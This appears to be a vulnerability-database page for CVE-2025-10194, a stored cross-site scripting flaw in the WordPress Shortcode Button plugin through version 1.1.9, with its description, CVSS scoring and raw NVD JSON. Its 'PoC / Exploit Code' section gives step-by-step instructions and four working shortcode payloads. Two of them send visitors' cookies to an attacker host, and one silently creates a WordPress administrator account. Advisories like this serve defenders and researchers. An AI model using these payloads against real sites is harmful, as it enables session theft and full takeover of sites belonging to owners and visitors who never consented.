Security Vulnerability Report
中文
CVE-2025-10194 CVSS 6.4 MEDIUM

CVE-2025-10194

Published: 2025-10-15 09:15:39
Last Modified: 2026-04-15 00:35:42

Description

The Shortcode Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button' shortcode in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Shortcode Button Plugin <= 1.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10194 - Stored XSS PoC for WordPress Shortcode Button Plugin Target: Shortcode Button plugin <= 1.1.9 Required: Contributor-level access or above --> <!-- Step 1: Login as contributor or higher role Step 2: Create a new post or page Step 3: Insert the malicious shortcode in the content editor Step 4: Publish/Submit the post Step 5: Any user visiting the page will trigger the XSS --> <!-- PoC 1: Cookie stealing via onerror event --> [button url='x" onerror="alert(document.cookie)"' label="Click"] <!-- PoC 2: Cookie exfiltration to attacker server --> [button url='x" onerror="var i=new Image();i.src=\"http://attacker.com/steal?c=\"+document.cookie;"' label="Click"] <!-- PoC 3: Session hijacking via fetch --> [button url='x" onerror="fetch(\"http://attacker.com/steal?c=\"+document.cookie)"' label="Click"] <!-- PoC 4: Admin context exploitation - create new admin user --> [button url='x" onerror="fetch(\"/wp-admin/user-new.php\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:new URLSearchParams({user_login:\"hacker\",email:\"[email protected]\",role:\"administrator\",_wpnonce_create_user:\"\"})})"' label="Click"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10194", "sourceIdentifier": "[email protected]", "published": "2025-10-15T09:15:38.650", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shortcode Button plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button' shortcode in all versions up to, and including, 1.1.9 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shortcode-button/trunk/shortcode-button.php#L65", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/shortcode-button/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e8119092-d513-4e6c-ab83-d4a49ec66281?source=cve", "source": "[email protected]"}]}}